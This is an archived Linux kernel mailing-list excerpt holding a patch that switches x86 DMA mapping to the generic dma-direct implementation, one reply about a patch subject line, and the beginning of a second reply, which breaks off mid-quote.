Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 37/67] x86: use dma-direct
Date: Fri, 29 Dec 2017 09:18:41 +0100
Lines: 332
Approved: news@gmane.org
Message-ID: <20171229081911.2802-38-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514536191 11732 195.159.176.226 (29 Dec 2017 08:29:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:29:51 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:29:45 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUq2x-0001ql-6F
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:29:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756094AbdL2Ibp (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:31:45 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:58930 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932659AbdL2IWL (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:22:11 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=S+ourrOGcRUmetGyERwZ0EDSD/s6mCYKkOum+/pqrSI=; b=ro9EYyZGNEqTq8aTwOAkERNKt
        qPK43ppsRm2j5TygELi4xpW4ekT0O1h71r8dzOCb4svz2NuNHGKsD+LIlNEmphCU3c+rZjW8hpEAz
        AdE3K3GB5MUMtHI0+4R8GhB2FWKib8MSMItRXlqflxisQhOneLpvSCxIrsiaCS3nx3PFPx1cBXixf
        EbqajwGW5gZzeu8FZ0f7aNvDaSeWEJZ0cdggKAIVBXe1Fp+m5e/upHb8lxT4Aj/krKCTeNvMGDIA6
        h8nX0xya6otZp9ZzAntjgWLjgaV4W0uN0hoE7qJHEtbkZs4Rigmp7QhdAyWHinOpudWOSdmR/ntuy
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpvS-0002gT-UQ; Fri, 29 Dec 2017 08:21:59 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27107 gmane.linux.kernel.iommu:21944 gmane.linux.ports.alpha:4611 gmane.linux.kernel.arc:3232 gmane.linux.ports.arm.kernel:622957 gmane.linux.ports.hexagon:1464 gmane.linux.ports.ia64:28454 gmane.linux.kernel.metag:1538 gmane.linux.ports.mips.general:62987 gmane.linux.ports.parisc:28129 gmane.linux.ports.ppc64.devel:151561 gmane.linux.ports.sh.devel:56100 gmane.linux.kernel.cross-arch:40847 gmane.linux.kernel:2654275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27107>

The generic dma-direct implementation is now functionally equivalent to
the x86 nommu dma_map implementation, so switch over to using it.

Note that the various iommu drivers are switched from x86_dma_supported
to dma_direct_supported to provide identical functionality, although the
checks looks fairly questionable for at least some of them.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/Kconfig                   |  1 +
 arch/x86/include/asm/dma-mapping.h |  8 -----
 arch/x86/include/asm/iommu.h       |  3 --
 arch/x86/kernel/Makefile           |  2 +-
 arch/x86/kernel/amd_gart_64.c      |  7 ++--
 arch/x86/kernel/pci-calgary_64.c   |  3 +-
 arch/x86/kernel/pci-dma.c          | 66 +-------------------------------------
 arch/x86/kernel/pci-swiotlb.c      |  5 ++-
 arch/x86/pci/sta2x11-fixup.c       |  2 +-
 drivers/iommu/amd_iommu.c          |  7 ++--
 drivers/iommu/intel-iommu.c        |  3 +-
 11 files changed, 17 insertions(+), 90 deletions(-)

diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index f6f4328103c0..55ad01515075 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -83,6 +83,7 @@ config X86
 	select CLOCKSOURCE_VALIDATE_LAST_CYCLE
 	select CLOCKSOURCE_WATCHDOG
 	select DCACHE_WORD_ACCESS
+	select DMA_DIRECT_OPS
 	select EDAC_ATOMIC_SCRUB
 	select EDAC_SUPPORT
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index 545bf3721bc0..df9816b385eb 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -36,14 +36,6 @@ int arch_dma_supported(struct device *dev, u64 mask);
 bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp);
 #define arch_dma_alloc_attrs arch_dma_alloc_attrs
 
-extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-					dma_addr_t *dma_addr, gfp_t flag,
-					unsigned long attrs);
-
-extern void dma_generic_free_coherent(struct device *dev, size_t size,
-				      void *vaddr, dma_addr_t dma_addr,
-				      unsigned long attrs);
-
 static inline gfp_t dma_alloc_coherent_gfp_flags(struct device *dev, gfp_t gfp)
 {
 	if (dev->coherent_dma_mask <= DMA_BIT_MASK(24))
diff --git a/arch/x86/include/asm/iommu.h b/arch/x86/include/asm/iommu.h
index 1e5d5d92eb40..baedab8ac538 100644
--- a/arch/x86/include/asm/iommu.h
+++ b/arch/x86/include/asm/iommu.h
@@ -2,13 +2,10 @@
 #ifndef _ASM_X86_IOMMU_H
 #define _ASM_X86_IOMMU_H
 
-extern const struct dma_map_ops nommu_dma_ops;
 extern int force_iommu, no_iommu;
 extern int iommu_detected;
 extern int iommu_pass_through;
 
-int x86_dma_supported(struct device *dev, u64 mask);
-
 /* 10 seconds */
 #define DMAR_OPERATION_TIMEOUT ((cycles_t) tsc_khz*10*1000)
 
diff --git a/arch/x86/kernel/Makefile b/arch/x86/kernel/Makefile
index 81bb565f4497..beee4332e69b 100644
--- a/arch/x86/kernel/Makefile
+++ b/arch/x86/kernel/Makefile
@@ -54,7 +54,7 @@ obj-$(CONFIG_X86_ESPFIX64)	+= espfix_64.o
 obj-$(CONFIG_SYSFS)	+= ksysfs.o
 obj-y			+= bootflag.o e820.o
 obj-y			+= pci-dma.o quirks.o topology.o kdebugfs.o
-obj-y			+= alternative.o i8253.o pci-nommu.o hw_breakpoint.o
+obj-y			+= alternative.o i8253.o hw_breakpoint.o
 obj-y			+= tsc.o tsc_msr.o io_delay.o rtc.o
 obj-y			+= pci-iommu_table.o
 obj-y			+= resource.o
diff --git a/arch/x86/kernel/amd_gart_64.c b/arch/x86/kernel/amd_gart_64.c
index ecd486cb06ab..52e3abcf3e70 100644
--- a/arch/x86/kernel/amd_gart_64.c
+++ b/arch/x86/kernel/amd_gart_64.c
@@ -501,8 +501,7 @@ gart_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_addr,
 		}
 		__free_pages(page, get_order(size));
 	} else
-		return dma_generic_alloc_coherent(dev, size, dma_addr, flag,
-						  attrs);
+		return dma_direct_alloc(dev, size, dma_addr, flag, attrs);
 
 	return NULL;
 }
@@ -513,7 +512,7 @@ gart_free_coherent(struct device *dev, size_t size, void *vaddr,
 		   dma_addr_t dma_addr, unsigned long attrs)
 {
 	gart_unmap_page(dev, dma_addr, size, DMA_BIDIRECTIONAL, 0);
-	dma_generic_free_coherent(dev, size, vaddr, dma_addr, attrs);
+	dma_direct_free(dev, size, vaddr, dma_addr, attrs);
 }
 
 static int gart_mapping_error(struct device *dev, dma_addr_t dma_addr)
@@ -705,7 +704,7 @@ static const struct dma_map_ops gart_dma_ops = {
 	.alloc				= gart_alloc_coherent,
 	.free				= gart_free_coherent,
 	.mapping_error			= gart_mapping_error,
-	.dma_supported			= x86_dma_supported,
+	.dma_supported			= dma_direct_supported,
 };
 
 static void gart_iommu_shutdown(void)
diff --git a/arch/x86/kernel/pci-calgary_64.c b/arch/x86/kernel/pci-calgary_64.c
index 35c461f21815..5647853053bd 100644
--- a/arch/x86/kernel/pci-calgary_64.c
+++ b/arch/x86/kernel/pci-calgary_64.c
@@ -33,6 +33,7 @@
 #include <linux/string.h>
 #include <linux/crash_dump.h>
 #include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/bitmap.h>
 #include <linux/pci_ids.h>
 #include <linux/pci.h>
@@ -493,7 +494,7 @@ static const struct dma_map_ops calgary_dma_ops = {
 	.map_page = calgary_map_page,
 	.unmap_page = calgary_unmap_page,
 	.mapping_error = calgary_mapping_error,
-	.dma_supported = x86_dma_supported,
+	.dma_supported = dma_direct_supported,
 };
 
 static inline void __iomem * busno_to_bbar(unsigned char num)
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index b59820872ec7..db0b88ea8d1b 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -18,7 +18,7 @@
 
 static int forbid_dac __read_mostly;
 
-const struct dma_map_ops *dma_ops = &nommu_dma_ops;
+const struct dma_map_ops *dma_ops = &dma_direct_ops;
 EXPORT_SYMBOL(dma_ops);
 
 static int iommu_sac_force __read_mostly;
@@ -76,60 +76,6 @@ void __init pci_iommu_alloc(void)
 		}
 	}
 }
-void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_addr, gfp_t flag,
-				 unsigned long attrs)
-{
-	struct page *page;
-	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
-	dma_addr_t addr;
-
-again:
-	page = NULL;
-	/* CMA can be used only in the context which permits sleeping */
-	if (gfpflags_allow_blocking(flag)) {
-		page = dma_alloc_from_contiguous(dev, count, get_order(size),
-						 flag);
-		if (page) {
-			addr = phys_to_dma(dev, page_to_phys(page));
-			if (addr + size > dev->coherent_dma_mask) {
-				dma_release_from_contiguous(dev, page, count);
-				page = NULL;
-			}
-		}
-	}
-	/* fallback */
-	if (!page)
-		page = alloc_pages_node(dev_to_node(dev), flag, get_order(size));
-	if (!page)
-		return NULL;
-
-	addr = phys_to_dma(dev, page_to_phys(page));
-	if (addr + size > dev->coherent_dma_mask) {
-		__free_pages(page, get_order(size));
-
-		if (dev->coherent_dma_mask < DMA_BIT_MASK(32) &&
-		    !(flag & GFP_DMA)) {
-			flag = (flag & ~GFP_DMA32) | GFP_DMA;
-			goto again;
-		}
-
-		return NULL;
-	}
-	memset(page_address(page), 0, size);
-	*dma_addr = addr;
-	return page_address(page);
-}
-
-void dma_generic_free_coherent(struct device *dev, size_t size, void *vaddr,
-			       dma_addr_t dma_addr, unsigned long attrs)
-{
-	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
-	struct page *page = virt_to_page(vaddr);
-
-	if (!dma_release_from_contiguous(dev, page, count))
-		free_pages((unsigned long)vaddr, get_order(size));
-}
 
 bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp)
 {
@@ -243,16 +189,6 @@ int arch_dma_supported(struct device *dev, u64 mask)
 }
 EXPORT_SYMBOL(arch_dma_supported);
 
-int x86_dma_supported(struct device *dev, u64 mask)
-{
-	/* Copied from i386. Doesn't make much sense, because it will
-	   only work for pci_alloc_coherent.
-	   The caller just has to use GFP_DMA in this case. */
-	if (mask < DMA_BIT_MASK(24))
-		return 0;
-	return 1;
-}
-
 static int __init pci_iommu_init(void)
 {
 	struct iommu_table_entry *p;
diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
index 9d3e35c33d94..7a11a3e4f697 100644
--- a/arch/x86/kernel/pci-swiotlb.c
+++ b/arch/x86/kernel/pci-swiotlb.c
@@ -30,8 +30,7 @@ void *x86_swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 	 */
 	flags |= __GFP_NOWARN;
 
-	vaddr = dma_generic_alloc_coherent(hwdev, size, dma_handle, flags,
-					   attrs);
+	vaddr = dma_direct_alloc(hwdev, size, dma_handle, flags, attrs);
 	if (vaddr)
 		return vaddr;
 
@@ -45,7 +44,7 @@ void x86_swiotlb_free_coherent(struct device *dev, size_t size,
 	if (is_swiotlb_buffer(dma_to_phys(dev, dma_addr)))
 		swiotlb_free_coherent(dev, size, vaddr, dma_addr);
 	else
-		dma_generic_free_coherent(dev, size, vaddr, dma_addr, attrs);
+		dma_direct_free(dev, size, vaddr, dma_addr, attrs);
 }
 
 static const struct dma_map_ops swiotlb_dma_ops = {
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index 75577c1490c4..6c712fe11bdc 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -193,7 +193,7 @@ static const struct dma_map_ops sta2x11_dma_ops = {
 	.sync_sg_for_cpu = swiotlb_sync_sg_for_cpu,
 	.sync_sg_for_device = swiotlb_sync_sg_for_device,
 	.mapping_error = swiotlb_dma_mapping_error,
-	.dma_supported = x86_dma_supported,
+	.dma_supported = dma_direct_supported,
 };
 
 /* At setup time, we use our own ops if the device is a ConneXt one */
diff --git a/drivers/iommu/amd_iommu.c b/drivers/iommu/amd_iommu.c
index 7d5eb004091d..ea4734de5357 100644
--- a/drivers/iommu/amd_iommu.c
+++ b/drivers/iommu/amd_iommu.c
@@ -28,6 +28,7 @@
 #include <linux/debugfs.h>
 #include <linux/scatterlist.h>
 #include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/iommu-helper.h>
 #include <linux/iommu.h>
 #include <linux/delay.h>
@@ -2182,7 +2183,7 @@ static int amd_iommu_add_device(struct device *dev)
 				dev_name(dev));
 
 		iommu_ignore_device(dev);
-		dev->dma_ops = &nommu_dma_ops;
+		dev->dma_ops = &dma_direct_ops;
 		goto out;
 	}
 	init_iommu_group(dev);
@@ -2667,7 +2668,7 @@ static void free_coherent(struct device *dev, size_t size,
  */
 static int amd_iommu_dma_supported(struct device *dev, u64 mask)
 {
-	if (!x86_dma_supported(dev, mask))
+	if (!dma_direct_supported(dev, mask))
 		return 0;
 	return check_device(dev);
 }
@@ -2781,7 +2782,7 @@ int __init amd_iommu_init_dma_ops(void)
 	 * continue to be SWIOTLB.
 	 */
 	if (!swiotlb)
-		dma_ops = &nommu_dma_ops;
+		dma_ops = &dma_direct_ops;
 
 	if (amd_iommu_unmap_flush)
 		pr_info("AMD-Vi: IO/TLB flush on unmap enabled\n");
diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c
index 4a2de34895ec..921caf4f0c3e 100644
--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -45,6 +45,7 @@
 #include <linux/pci-ats.h>
 #include <linux/memblock.h>
 #include <linux/dma-contiguous.h>
+#include <linux/dma-direct.h>
 #include <linux/crash_dump.h>
 #include <asm/irq_remapping.h>
 #include <asm/cacheflush.h>
@@ -3872,7 +3873,7 @@ const struct dma_map_ops intel_dma_ops = {
 	.unmap_page = intel_unmap_page,
 	.mapping_error = intel_mapping_error,
 #ifdef CONFIG_X86
-	.dma_supported = x86_dma_supported,
+	.dma_supported = dma_direct_supported,
 #endif
 };
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Julian Calaby <julian.calaby@gmail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 17/67] microblaze: rename dma_direct to dma_microblaze
Date: Fri, 29 Dec 2017 21:11:56 +1100
Lines: 14
Approved: news@gmane.org
Message-ID: <CAGRGNgW1qwLcCAvU2Jc=3_7b-0Bu016to3cQUgVsc+ca0No_6g@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-18-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514542223 11881 195.159.176.226 (29 Dec 2017 10:10:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 10:10:23 +0000 (UTC)
Cc: iommu@lists.linux-foundation.org, linux-alpha@vger.kernel.org,
        linux-snps-arc@lists.infradead.org,
        "Mailing List, Arm" <linux-arm-kernel@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux <sparclinux@vger.kernel.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Dec 29 11:10:17 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eUrcG-0002li-4s
	for glpm-linux-m68k@m.gmane.org; Fri, 29 Dec 2017 11:10:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755122AbdL2KMT (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 29 Dec 2017 05:12:19 -0500
Original-Received: from mail-wm0-f66.google.com ([74.125.82.66]:38085 "EHLO
        mail-wm0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755117AbdL2KMS (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 29 Dec 2017 05:12:18 -0500
Original-Received: by mail-wm0-f66.google.com with SMTP id 64so47301343wme.3
        for <linux-m68k@lists.linux-m68k.org>; Fri, 29 Dec 2017 02:12:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=OZDKQObnogCo43/g0ZefdMeItSxZ/d1jpfe8RdFWxFc=;
        b=A1dyY1BvC81xdajAaWe5z6Iod6eMrkXkCitK1deR7L6htbFsYIvEK/HdbyI6HodMKZ
         sbn5FwmNuHKzpKbfV0hH/O4ObLYRlUQjxosVGUMMRq+StM8KaucLTwmd/4eTI8pnosCv
         O3z7n7OvBMWKS2DppdyEiK6rhNS3qNU3z4kP+t+auEYs9M5Oqcvwo0I9k2DLfbmwV//2
         sqWGOCudUxtlua44JMnRNsk4xFZpM6Z6ZB/tpbniEd9ha1qDcOzmTs6+yJEzuBtzqHIY
         GImtxUK4KKmUt+oISe07ZXBZePl0GTQ8J+nT/kInjx2jj+fmacU+mE4gKOSjW5l8Z0H0
         ri6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=OZDKQObnogCo43/g0ZefdMeItSxZ/d1jpfe8RdFWxFc=;
        b=imW09ke9p4y1OWO7gauXMFwAzU2j7X5FLZjjI8kmFqNyUBevnp4oykxB/4qjiKOiwQ
         zNjFxgq6oVkXfuCXBDynSNXQehEz1Au7ybuudOblSZHDZMx3LLjQxc0oMvUAGvQYv0Gs
         fULaS1Bt4dPSlXIe2QngCBoFgMM72zHQhmRaj7Jlq+EKWFpCbNXwryEfWwOdeMee5v/1
         tajsX9KZbIn7iSrJexpg38dqIAlPwh53wtmJxFiQ/7XGaiJN70tphmDHC3ziRKNsvVm6
         ZT+3yDVXr6Wm7OUa0LG4qPoJuoBYLvhfTBLy/2Oy0MgF2E8rCRrtRHaLGqETnJAoafYU
         5hmg==
X-Gm-Message-State: AKGB3mJeTNjPzL+LRX7XO8rfjMToxTWU1rvnV1a21zd2cM0pmVTD47mJ
        ZwcZzjbHQ5m4Zn6QqFSNMxFS5ShFAWS1+xew1oU=
X-Google-Smtp-Source: ACJfBosLJCIjjyZdEo2TG9SRtMNEVoq6KpqimhlUTIaKQq3elGsw6/PWwHHbb6+Xm8+4TOM09Ngu876BshXxDLd1Gw0=
X-Received: by 10.28.46.136 with SMTP id u130mr30846598wmu.127.1514542336990;
 Fri, 29 Dec 2017 02:12:16 -0800 (PST)
Original-Received: by 10.223.153.163 with HTTP; Fri, 29 Dec 2017 02:11:56 -0800 (PST)
In-Reply-To: <20171229081911.2802-18-hch@lst.de>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9819 gmane.linux.kernel.iommu:21945 gmane.linux.ports.alpha:4612 gmane.linux.kernel.arc:3233 gmane.linux.ports.arm.kernel:622973 gmane.linux.ports.hexagon:1465 gmane.linux.ports.ia64:28455 gmane.linux.kernel.metag:1539 gmane.linux.ports.mips.general:62988 gmane.linux.ports.parisc:28130 gmane.linux.ports.ppc64.devel:151562 gmane.linux.ports.sh.devel:56101 gmane.linux.ports.sparc:27108 gmane.linux.kernel.cross-arch:40848 gmane.linux.kernel:2654325
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9819>

Hi Christoph,

On Fri, Dec 29, 2017 at 7:18 PM, Christoph Hellwig <hch@lst.de> wrote:
> This frees the dma_direct_* namespace for a generic implementation.

Don't you mean "dma_nommu" not "dma_microblaze" in the subject line?

Thanks,

-- 
Julian Calaby

Email: julian.calaby@gmail.com
Profile: http://www.google.com/profiles/julian.calaby/

From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vladimir Murzin <vladimir.murzin@arm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: consolidate direct dma mapping and swiotlb support
Date: Fri, 29 Dec 2017 10:52:14 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <23fee3bb-61ce-1735-b264-3acc0109c858@arm.com>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514544634 1817 195.159.176.226 (29 Dec 2017 10:50:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 10:50:34 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Fri Dec 29 11:50:29 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eUsF9-0008S5-Ie
	for glpm-linux-m68k@m.gmane.org; Fri, 29 Dec 2017 11:50:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754417AbdL2Kw1 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Fri, 29 Dec 2017 05:52:27 -0500
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:49342 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753781AbdL2Kw0 (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Fri, 29 Dec 2017 05:52:26 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id CA4DD80D;
        Fri, 29 Dec 2017 02:52:25 -0800 (PST)
Original-Received: from [10.1.78.28] (unknown [10.1.78.28])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id E963A3F318;
        Fri, 29 Dec 2017 02:52:21 -0800 (PST)
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9820 gmane.linux.kernel.iommu:21946 gmane.linux.ports.mips.general:62989 gmane.linux.ports.ia64:28456 gmane.linux.ports.sh.devel:56102 gmane.linux.ports.sparc:27109 gmane.linux.kernel.cross-arch:40849 gmane.linux.ports.hexagon:1466 gmane.linux.kernel.arc:3234 gmane.linux.kernel.metag:1540 gmane.linux.ports.arm.kernel:622974 gmane.linux.ports.parisc:28131 gmane.linux.kernel:2654330 gmane.linux.ports.alpha:4613 gmane.linux.ports.ppc64.devel:151563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9820>

On 29/12/17 08:18, Christoph Hellwig wrote:
> Almost every architecture supports a direct dma mapping implementation,
> where no iommu is used and the device dma address is a 1:1 mapping to
> the physical address or has a simple linear offset.  Currently the
